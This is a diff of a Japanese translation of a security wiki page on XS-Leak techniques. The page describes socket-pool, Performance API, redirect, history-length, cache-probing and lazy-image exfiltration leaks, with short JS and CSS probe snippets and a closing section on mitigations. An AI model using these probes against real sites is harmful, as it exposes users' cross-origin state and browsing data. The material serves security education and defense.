異なるオリジンのコ
|
||||
### 忙しいイベントループ <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
* **含まれる方法**:
|
||||
|
@ -285,7 +285,7 @@ JavaScriptの並行性モデルは、[シングルスレッドのイベントル
|
|||
ブラウザはサーバとの通信にソケットを使用します。オペレーティングシステムとその実行環境はリソースに制限があるため、ブラウザは制限を課さなければなりません。この制限の存在を悪用するため、攻撃者は次の手順を実行できます。
|
||||
|
||||
1. ブラウザの制限を確認します。たとえば、256個のグローバルソケットです。
|
||||
2. 異なるホストへの255のリクエストを実行して、接続を単純にブロックすることで、255個のソケットを長時間ブロックします。
|
||||
2. 異なるホストへの255のリクエストを実行して、接続を単純にブロックすることで、255のソケットを長時間ブロックします。
|
||||
3. ターゲットページへのリクエストを行うことで、256番目のソケットを使用します。
|
||||
4. 別のホストへ257番目のリクエストを行います。手順2と3ですべてのソケットが使用されているため、このリクエストはプールが利用可能なソケットを受け取るまで待機する必要があります。この待機期間は、攻撃者にとっては256番目のソケットのネットワークタイミングを提供します。これは、手順3でソケットが解放されたことによって利用可能なソケットをプールが受け取ったため機能します。256番目のソケットの解放時間は、リクエストの完了にかかる時間と直接関連しています。
|
||||
|
||||
|
@ -300,7 +300,7 @@ JavaScriptの並行性モデルは、[シングルスレッドのイベントル
|
|||
|
||||
##
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
@ -310,7 +310,7 @@ JavaScriptの並行性モデルは、[シングルスレッドのイベントル
|
|||
## パフォーマンスAPIの技術
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)は、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)のデータによって強化されたパフォーマンスに関連する情報にアクセスできます。[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)は、ネットワークリクエストのタイミング(期間など)を提供しますが、サーバから送信される`Timing-Allow-Origin: *`ヘッダがある場合、転送サイズとドメインの検索時間も提供されます。\
|
||||
このデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)または[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)を使用してアクセスできます。また、[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)の差を使用して実行時間を取得するためにも使用できますが、これはChromeのフェッチではミリ秒しか提供されないため、より正確ではないようです。
|
||||
このデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)または[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)を使用してアクセスできます。また、[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)の差を使用して実行時間を取得するためにも使用できますが、これはChromeのフェッチではミリ秒のみを提供するため、より正確ではないようです。
|
||||
|
||||
このAPIは、リクエストの時間を測定するために使用することも、X-Frame-Optionsの使用を検出するために使用することもできます。ブロックされたページはChromeの`performance`オブジェクトに追加されないため、X-Frame-Optionsの使用を検出できます。
|
||||
|
||||
|
@ -341,7 +341,7 @@ JavaScriptの並行性モデルは、[シングルスレッドのイベントル
|
|||
* **概要**: エラーが発生したリクエストはマージできません。
|
||||
* **コード例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
この技術は、上記の論文の表に見つかりましたが、技術の説明はありませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でソースコードを確認することができます。
|
||||
この技術は、上記の論文の表に見つかりましたが、技術の説明は見つかりませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でソースコードを確認することができます。
|
||||
|
||||
### 空のページリーク
|
||||
|
||||
|
@ -361,7 +361,7 @@ JavaScriptの並行性モデルは、[シングルスレッドのイベントル
|
|||
* **概要**: XSS-Auditorを使用してウェブページ内の特定の要素の存在を検出します。
|
||||
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
SAでは、XSSAuditorがトリガーされたかどうかを検出し、それによって機密情報が漏洩する可能性があります。 XSS-Auditorは、SAとGC(現在は削除されました)の組み込み機能であり、クロスサイトスクリプティング(XSS)攻撃を緩和するために設計されています。 2013年、BraunとHeiderich \[7]は、XSS-Auditorを使用して誤検知で無害なスクリプトをブロックすることができることを示しました。彼らの技術に基づいて、研究者は情報を漏洩させ、クロスオリジンページで特定のコンテンツを検出します。これらのXS-Leakは、Teradaによるバグレポートで最初に説明され、後にHeyesのブログ記事でも説明されました。ただし、発見された技術は、GCのXSS-Auditorにのみ適用され、SAでは機能しません。ブロックされたページはパフォーマンスAPIエントリを作成しないため、攻撃者はまだSAのXSS-Auditorを使用して機密情報を漏洩させることができます。
|
||||
SAでは、XSSAuditorがトリガーされたかどうかを検出し、それによって機密情報が漏洩する可能性があります。XSS-Auditorは、SAとGC(現在は削除されました)の組み込み機能であり、クロスサイトスクリプティング(XSS)攻撃を緩和するために設計されています。2013年、BraunとHeiderich \[7\]は、XSS-Auditorを使用して誤検知で無害なスクリプトをブロックすることができることを示しました。彼らの技術に基づいて、研究者は情報を外部に流出させ、クロスオリジンのページで特定のコンテンツを検出します。これらのXS-Leakは、最初にTeradaによるバグレポートで説明され、後にHeyesのブログ記事でも説明されました。ただし、発見された技術は、GCのXSS-Auditorにのみ適用され、SAでは機能しません。ブロックされたページはパフォーマンスAPIエントリを作成しないため、攻撃者はまだSAのXSS-Auditorを使用して機密情報を漏洩させることができます。
|
||||
|
||||
### X-Frameリーク
|
||||
|
||||
|
@ -374,7 +374,7 @@ SAでは、XSSAuditorがトリガーされたかどうかを検出し、それ
|
|||
ページが**iframeでレンダリング**されることが**許可されていない**場合、**パフォーマンスエントリは作成されません**。その結果、攻撃者はレスポンスヘッダー**`X-Frame-Options`**を検出することができます。\
|
||||
同様のことが、**embed** **タグを使用**した場合にも起こります。
|
||||
|
||||
### ダウンロード検出
|
||||
### ダウンロードの検出
|
||||
|
||||
* **含有方法**: フレーム
|
||||
* **検出可能な違い**: ヘッダー
|
||||
|
@ -392,17 +392,17 @@ XS-Leakと同様に、ContentDispositionヘッダーによって**ダウンロ
|
|||
* **概要**: リソースタイミングエントリがリダイレクトの開始時間を漏洩します。
|
||||
* **コード例**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
いくつかのブラウザの挙動を悪用するXS-Leakのインスタンスを見つけました。標準では、クロスオリジンリソースの一部の属性はゼロに設定する必要があります。ただし、**SA**では、**ターゲットページによるリダイレクト**がユーザーによって検出される可能性があります。これは、**Performance API**をクエリし、**redirectStartタイミングデータ**をチェックすることで行われます。
|
||||
いくつかのブラウザの挙動を悪用するXS-Leakのインスタンスを見つけました。標準では、クロスオリジンのリソースには一部の属性がゼロに設定されるべきと定義されています。しかし、**SA**では、**ターゲットページによるリダイレクト**がユーザーによって検出される可能性があります。これは、**Performance API**をクエリし、**redirectStartのタイミングデータ**をチェックすることで行われます。
|
||||
|
||||
### リダイレクトの期間リーク
|
||||
|
||||
* **含有方法**: Fetch API
|
||||
* **検出可能な違い**: リダイレクト
|
||||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
* **概要**: リダイレクトが発生すると、タイミングエントリの期間は負になります。
|
||||
* **概要**: リダイレクトが発生すると、タイミングエントリの期間は負の値になります。
|
||||
* **コード例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
GCでは、**リダイレクトが発生する**リクエストの**期間は負**であり、そのためリダイレクトが発生しないリクエストと区別することができます。
|
||||
GCでは、**リダイレクトが発生する**リクエストの**期間は負の値**であり、リダイレクトが発生しないリクエストと区別することができます。
|
||||
### CORPリーク
|
||||
|
||||
* **インクルージョンメソッド**: フレーム
|
||||
|
@ -538,7 +538,7 @@ XS-Leakは、CSPを使用して、クロスオリジンサイトが異なるオ
|
|||
### CSPディレクティブ
|
||||
|
||||
* **含まれる方法**: フレーム
|
||||
* **検出可能な違い**: ヘ
|
||||
* **検出可能な違い**: ヘッ
|
||||
### **CORP**
|
||||
|
||||
* **Inclusion Methods**: Fetch API
|
||||
|
@ -598,13 +598,13 @@ Webアプリケーションは、他のウェブサイトがアプリケーシ
|
|||
* **Inclusion Methods**: Fetch API, HTML要素
|
||||
* **Detectable Difference**: ステータスコード/コンテンツ
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
* **概要**: リダイレクトレスポンスの長さが大きすぎてサーバーがエラーを返し、アラートが生成されるため、レスポンスの違いを検出できます。
|
||||
* **概要**: リダイレクトレスポンスの長さがサーバーの制限を超えるため、レスポンスの違いを検出できます。これにより、エラーが発生し、アラートが生成されます。
|
||||
* **コード例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
サーバーサイドのリダイレクトがリダイレクト内でユーザー入力と追加データを使用する場合、通常、サーバーにはリクエストの長さ制限があります。ユーザーデータがその長さ-1である場合、リダイレクトはそのデータを使用して何かを追加するため、エラーが発生し、エラーイベントを介して検出できます。
|
||||
サーバーサイドのリダイレクトがリダイレクトにユーザー入力と追加データを使用している場合、通常、サーバーにはリクエストの長さの制限があります。ユーザーデータがその長さ-1である場合、リダイレクトはそのデータを使用して何かを追加するため、エラーが発生し、エラーイベントを介して検出できます。
|
||||
|
||||
ユーザーに対してクッキーを設定できる場合、[クッキーボム](hacking-with-cookies/cookie-bomb.md)を使用してこの攻撃を実行することもできます。したがって、正しいレスポンスのサイズが増加すると、エラーがトリガーされます。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため(エラーを確認できる)、注意してください。\
|
||||
クッキーボム+XS-Searchの例は、この解決策の意図した解決策で見つけることができます:[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
ユーザーに対してクッキーを設定できる場合、[クッキーボム](hacking-with-cookies/cookie-bomb.md)を使用してこの攻撃を実行することもできます。したがって、正しいレスポンスのサイズが増加すると、エラーが発生します。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため(エラーを確認できる)、注意してください。\
|
||||
クッキーボム+XS-Searchの例は、この解決策の意図された解決策で見つけることができます:[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
このタイプの攻撃には通常、`SameSite=None`または同じコンテキストにある必要があります。
|
||||
### URLの最大長 - クライアントサイド
|
||||
|
@ -648,16 +648,16 @@ Webアプリケーションは、他のウェブサイトがアプリケーシ
|
|||
* **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**History API**は、JavaScriptコードがブラウザの履歴を操作することを可能にし、ユーザーが訪れたページを保存します。攻撃者は、長さプロパティを含める方法として使用できます: JavaScriptとHTMLのナビゲーションを検出するために。\
|
||||
**`history.length`をチェック**し、ユーザーをページに**移動**させ、それを**同一オリジンに変更**し、**`history.length`**の新しい値を**チェック**します。
|
||||
**`history.length`をチェック**し、ユーザーを**ページに移動**させ、それを**同一オリジンに変更**し、**`history.length`**の新しい値を**チェック**します。
|
||||
|
||||
### 同じURLの履歴の長さ
|
||||
|
||||
* **含まれる方法**: フレーム、ポップアップ
|
||||
* **検出可能な違い**: 推測したURLと同じかどうか
|
||||
* **概要**: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することが可能です。
|
||||
* **概要**: 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することができます。
|
||||
* **コード例**: 以下
|
||||
|
||||
攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を**推測したURLに操作**し、**すぐに**それを**`about:blank`**に変更することができます。履歴の長さが増加した場合、URLが正しいことを意味し、**同じURLの場合はリロードされないため**、時間があったために増加します。増加しなかった場合、**推測したURLを読み込もうとした**ことを意味しますが、**すぐに** **`about:blank`**を読み込んだため、推測したURLを読み込む際に**履歴の長さは増加しなかった**。
|
||||
攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を**推測したURLに操作**し、**すぐに**それを**`about:blank`に変更**することができます。履歴の長さが増加した場合、URLが正しいことを意味し、**同じURLの場合はリロードされないため**、時間があったために増加します。増加しなかった場合、**推測したURLを読み込もうとした**ことを意味しますが、**すぐに** **`about:blank`**を読み込んだため、推測したURLを読み込む際に**履歴の長さは増加しなかった**。
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + '#aaa';
|
||||
|
@ -731,7 +731,7 @@ console.log(await debug(win, "https://example.com/?a=b"));
|
|||
CSSの[`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)セレクタを使用すると、訪れたURLに異なるスタイルを適用することができます。\
|
||||
以前は、[`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)を使用してこの違いを検出することができましたが、現在のブラウザは常にリンクが訪れたものとして値を返し、セレクタを使用して適用できるスタイルを制限することでこれを防止しています。\
|
||||
そのため、ユーザーにCSSが影響を与えた領域をクリックさせる必要がある場合があります。これは[`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)を使用して行うことができます。\
|
||||
リンクを異なる色で描画するには時間がかかるため、レンダリングタイミングを悪用するなど、ユーザーの操作なしに行う方法もあります。\
|
||||
リンクを異なる色で描画するには時間がかかるため、レンダリングタイミングを悪用するなど、ユーザーの操作なしで行う方法もあります。\
|
||||
クロミウムのレポートで提供されたPoCは、複数のリンクを使用して時間差を増やすことで機能します。
|
||||
### ContentDocument X-Frame Leak
|
||||
|
||||
|
@ -741,7 +741,7 @@ CSSの[`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)セ
|
|||
* **概要**: GCでは、**X-Frame-Optionsにより、クロスオリジンページに埋め込むことが許可されていない場合、エラーページが表示されます**。
|
||||
* **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
Chromeでは、クロスオリジンページに埋め込むことが許可されていない場合、**X-FrameOptions(XFO)ヘッダーがdenyまたはsame-originに設定されているため、代わりにエラーページが表示されます**。オブジェクトの場合、このエラーページは`contentDocument`プロパティをチェックすることで**検出できます**。通常、このプロパティはnullを返しますが、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないため、**空のドキュメントオブジェクトが返されます**。これはiframesや他のブラウザでは機能しません。開発者はすべてのページにX-Frame-Optionsを設定するのを忘れることがあり、特にエラーページではこのヘッダーが欠落していることがよくあります。リーク技術として、攻撃者はこれをチェックすることで異なるユーザーステートを区別することができます。
|
||||
Chromeでは、クロスオリジンページに埋め込むことが許可されていない場合、**X-FrameOptions(XFO)ヘッダーがdenyまたはsame-originに設定されているため、代わりにエラーページが表示されます**。オブジェクトの場合、このエラーページは`contentDocument`プロパティをチェックすることで**検出できます**。通常、このプロパティはnullを返しますが、クロスオリジンの埋め込みドキュメントへのアクセスは許可されていないため、**空のドキュメントオブジェクト**が返されます。これはiframesや他のブラウザでは機能しません。開発者はすべてのページにX-Frame-Optionsを設定するのを忘れることがあり、特にエラーページではこのヘッダーが欠落していることがよくあります。リーク技術として、攻撃者はこれをチェックすることで異なるユーザーステートを区別することができます。
|
||||
|
||||
### ダウンロードの検出
|
||||
|
||||
|
@ -757,7 +757,7 @@ Chromeでは、クロスオリジンページに埋め込むことが許可さ
|
|||
|
||||
#### ダウンロードバー <a href="#download-bar" id="download-bar"></a>
|
||||
|
||||
Chromiumベースのブラウザでは、ファイルがダウンロードされると、ダウンロードプロセスのプレビューが**ブラウザウィンドウに統合された下部のバーに表示されます**。攻撃者は**ウィンドウの高さを監視することで**、「ダウンロードバー」が開かれたかどうかを検出することができます。
|
||||
Chromiumベースのブラウザでは、ファイルがダウンロードされると、ダウンロードプロセスのプレビューが**ブラウザウィンドウに統合された下部のバーに表示されます**。攻撃者は、**ウィンドウの高さを監視することで**、「ダウンロードバー」が開かれたかどうかを検出することができます。
|
||||
|
||||
#### ダウンロードナビゲーション(iframesを使用) <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>
|
||||
|
||||
|
@ -793,17 +793,17 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
![](<../.gitbook/assets/image (652).png>)
|
||||
### AbortControllerを使用したFetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
* **含有方法**: Fetch API
|
||||
* **含まれる方法**: Fetch API
|
||||
* **検出可能な違い**: タイミング
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
* **概要**: リソースの読み込みを試み、読み込みが中断される前に中断することができます。エラーがトリガされるかどうかによって、リソースがキャッシュされたかどうかが判断できます。
|
||||
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)は、_**fetch**_と_**setTimeout**_と組み合わせて使用することで、**リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから削除することができます。この技術の素晴らしい特徴は、新しいコンテンツをキャッシュすることなくプロービングが行われることです。
|
||||
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)は、_**fetch**_と_**setTimeout**_と組み合わせて使用することで、**リソースがキャッシュされているかどうかを検出**し、特定のリソースをブラウザキャッシュから削除することができます。このテクニックの素晴らしい特徴は、新しいコンテンツをキャッシュすることなくプロービングが行われることです。
|
||||
|
||||
### スクリプトの汚染
|
||||
|
||||
* **含有方法**: HTML要素(script)
|
||||
* **含まれる方法**: HTML要素(script)
|
||||
* **検出可能な違い**: ページのコンテンツ
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
* **概要**: クロスオリジンスクリプトがページに含まれている場合、その内容を直接読み取ることはできません。ただし、スクリプトが**組み込み関数を使用**している場合、それらを**上書き**して引数を読み取ることができ、貴重な情報が漏洩する可能性があります。
|
||||
|
@ -811,7 +811,7 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
|
||||
### サービスワーカー <a href="#service-workers" id="service-workers"></a>
|
||||
|
||||
* **含有方法**: ポップアップ
|
||||
* **含まれる方法**: ポップアップ
|
||||
* **検出可能な違い**: ページのコンテンツ
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
* **概要**: サービスワーカーを使用してウェブの実行時間を測定します。
|
||||
|
@ -829,7 +829,7 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
|
||||
### Fetchタイミング
|
||||
|
||||
* **含有方法**: Fetch API
|
||||
* **含まれる方法**: Fetch API
|
||||
* **検出可能な違い**: タイミング(一般的にはページのコンテンツ、ステータスコードによる)
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||||
|
@ -837,13 +837,13 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
|
||||
### クロスウィンドウタイミング
|
||||
|
||||
* **含有方法**: ポップアップ
|
||||
* **含まれる方法**: ポップアップ
|
||||
* **検出可能な違い**: タイミング(一般的にはページのコンテンツ、ステータスコードによる)
|
||||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
* **概要**: [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、`window.open`を使用してリクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||||
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
|
||||
|
@ -853,7 +853,7 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
|
||||
## HTMLまたは再インジェクションで
|
||||
|
||||
ここでは、HTMLコンテンツを**注入することでクロスオリジンHTMLから情報を外部に流出**させるための技術を見つけることができます。これらの技術は、何らかの理由でHTMLを注入できるがJSコードを注入できない場合に興味があります。
|
||||
ここでは、HTMLコンテンツを**注入することで**クロスオリジンHTMLから情報を外部に流出させるためのテクニックを見つけることができます。これらのテクニックは、何らかの理由でHTMLを注入できるがJSコードを注入できない場合に興味があります。
|
||||
|
||||
### ダングリングマークアップ
|
||||
|
||||
|
@ -863,8 +863,8 @@ Chromiumベースのブラウザでは、ファイルがダウンロードされ
|
|||
|
||||
### 画像の遅延読み込み
|
||||
|
||||
もしコンテンツを**外部に流出**させる必要があり、**秘密の前にHTMLを追加**することができる場合は、**一般的なダングリングマークアップの技術**をチェックしてください。\
|
||||
ただし、何らかの理由で**文字ごとに**行う必要がある場合(たとえば、通信がキャッシュヒットを介して行われる場合)、このトリックを使用することができます。
|
||||
コンテンツを**外部に流出**させる必要があり、秘密の前に**HTMLを追加**できる場合は、**一般的なダングリングマークアップのテクニック**を確認する必要があります。\
|
||||
ただし、何らかの理由で**文字ごとに**行う必要がある場合(おそらく通信はキャッシュヒットを介して行われる)、このトリックを使用できます。
|
||||
|
||||
HTMLの**画像**には、読み込み時に遅延するための「**loading**」属性があります。この場合、画像はページの読み込み中ではなく、表示されるときに読み込まれます。
|
||||
```html
|
||||
|
@ -917,7 +917,7 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
|
|||
|
||||
## 防御策
|
||||
|
||||
このセクションでは、[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)で推奨されている一部の緩和策を見つけることができますが、[https://xsleaks.dev/](https://xsleaks.dev/)の各セクションにはさらに多くの緩和策があります。これらのテクニックに対する保護方法の詳細については、そちらを参照してください。
|
||||
このセクションでは、[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)で推奨されている一部の緩和策を見つけることができますが、[https://xsleaks.dev/](https://xsleaks.dev/)のウィキの各セクションにはさらに多くの緩和策があります。これらのテクニックに対する保護方法についての詳細情報は、そちらを参照してください。
|
||||
|
||||
### インクルージョンメソッドの緩和策
|
||||
|
||||
|
@ -930,15 +930,15 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
|
|||
|
||||
* **Fetchメタデータ**。これらのリクエストヘッダーは、サーバーの所有者がユーザーのブラウザが特定のリクエストを引き起こした方法をよりよく理解するためのものです。Chromeでは、Sec-Fetch-\*ヘッダーが自動的に各リクエストに追加され、リクエストの起源に関するメタデータを提供します。たとえば、Sec-Fetch-Dest: imageは、画像要素からトリガーされました。Webアプリケーションは、その情報に基づいてリクエストをブロックすることを選択できます。
|
||||
* **Same-Site Cookies**。Same-Siteクッキーフラグを使用すると、ウェブサイトはクッキーを同一サイトまたはファーストパーティのコンテキストに制限するかどうかを宣言できます。主要なブラウザはすべてSame-Siteクッキーをサポートしています。GCでは、属性のないクッキーはデフォルトでLaxになりました。XS-Leakでは、Same-Siteクッキーは情報漏洩攻撃の可能性を大幅に制限します。一方、**`window.open`に依存する情報漏洩技術は`SameSite=Lax`でも機能します**。クライアントサイド証明書やHTTP認証など、**他の認証方法**を使用するウェブサイトは**依然として脆弱**です。
|
||||
* **クロスオリジン識別子の非連結性(COIU)**。COIU、またはFirst-Party Isolation(FPI)としても知られるCOIUは、ユーザーがFFのエキスパート設定(about:config)で有効にできるオプションのセキュリティ機能であり、最初にTor Browserで導入されました。抽象的には、これは拡張された同一サイトコンテキストです。これにより、複数のリソース(クッキー、キャッシュ、クライアント側ストレージなど)がすべての訪問したウェブサイトではなく、最初のパーティに**バインド**されます。有効にすると、COIUはXS-Leakの適用範囲を大幅に減らすため、ポップアップを使用するメソッドのみがポリシーの最初のパーティ要件に合致するようになります。
|
||||
* **トラッキング保護**。AppleはSAに**Intelligent Tracking Prevention(ITP)**というプライバシーメカニズムを実装し、クッキーや他のWeb APIの機能を制限することでクロスサイトトラッキングに対抗しています。新しいバージョンのSAでは、ITPはデフォルトですべてのサードパーティクッキーを例外なくブロックします\[74]。このブロックにより、ポップアップに基づかないすべての情報漏洩が防止されます。FFもEnhanced Tracking Prevention(ETP)で同様のアプローチを取りましたが、彼らはトラッキングプロバイダに属する特定のサードパーティクッキーのみをブロックします。XS-Leakの文脈では、ETPはこれらのトラッキングドメインをターゲットにした情報漏洩技術を緩和するだけです。
|
||||
* **クロスオリジン識別子の非連結性(COIU)**。COIU、またはFirst-Party Isolation(FPI)としても知られるCOIUは、ユーザーがFFのエキスパート設定(about:config)で有効にできるオプションのセキュリティ機能であり、最初にTor Browserで導入されました。抽象的には、これは拡張された同一サイトコンテキストです。これにより、複数のリソース(クッキー、キャッシュ、クライアント側ストレージなど)が訪問したすべてのウェブサイトではなく、最初のパーティに**バインド**されます。有効にすると、COIUはXS-Leakの適用範囲を大幅に減らすため、ポップアップを使用するメソッドのみがポリシーの最初のパーティの要件に合うようになります。
|
||||
* **トラッキング保護**。AppleはSAに**Intelligent Tracking Prevention(ITP)**というプライバシーメカニズムを実装し、クッキーや他のWeb APIの機能を制限することでクロスサイトトラッキングに対抗しています。SAの新しいバージョンでは、ITPはデフォルトですべてのサードパーティクッキーを例外なくブロックします\[74]。このブロックにより、ポップアップに基づかないすべての情報漏洩が防止されます。FFもEnhanced Tracking Prevention(ETP)で同様のアプローチを取りましたが、彼らはトラッキングプロバイダに属する特定のサードパーティクッキーのみをブロックします。XS-Leakの文脈では、ETPはこれらのトラッキングドメインをターゲットにした情報漏洩技術を緩和するだけです。
|
||||
* **ブラウザ拡張機能**。セキュリティに気をつけているユーザーは、**ブラウザ拡張機能を使用して特定のインクルージョンメソッドを防止**することができます。
|
||||
|
||||
### 情報漏洩技術の緩和策
|
||||
|
||||
* **イベントハンドラ**。この情報漏洩技術に対する**最も効果的な緩和策は、すべてを拒否する**ことですが、これによりインターネット上のほとんどのウェブアプリケーションが機能しなくなります。したがって、**イベント内で収集できる必要な情報の数を減らす**ことを提案します。たとえば、CSP違反イベントは、blockedURIフィールドにリダイレクト先のURLを含めないようにするべきです。この動作はFFと新しいバージョンのGCで実装されていますが、SAはまだ脆弱です。
|
||||
* **エラーメッセージ**。情報漏洩技術に基づくXS-Leakを緩和するためには、2つの主要な要件があります。まず、エラーメッセージには詳細な情報が含まれていない必要があります。これはイベントハンドラメッセージと同様です。第二に、ブラウザはエラーメッセージの発生を**最小限に抑える必要があります**。SRIエラーやContentDocument XFO、Fetch RedirectなどのXS-Leakでは、エラーメッセージがスローされるかどうかを検出します。
|
||||
* **グローバル制限**。グローバル制限を悪用する情報漏洩技術を修正するのは比較的複雑です。なぜなら、それらは物理的な制約に依存しているからです。一般的な推奨事項は、**小規模なサイトごとにグローバル制限を制限する**ことです。たとえば、Payment
|
||||
* **エラーメッセージ**。情報漏洩技術に基づくXS-Leakを緩和するためには、2つの主要な要件があります。まず、エラーメッセージには詳細な情報が含まれていない必要があります。イベントハンドラメッセージと同様です。第二に、ブラウザはエラーメッセージの発生を**最小限に抑える必要があります**。SRIエラーやContentDocument XFO、Fetch RedirectなどのXS-Leakでは、エラーメッセージがスローされるかどうかを検出します。
|
||||
* **グローバル制限**。グローバル制限を悪用する情報漏洩技術を修正するのは比較的複雑です。なぜなら、それらは物理的な制約に依存しているからです。一般的な推奨事項は、**小規模なサイトごとにグローバル制限を制限する**ことです。Payment APIのよ
|
||||
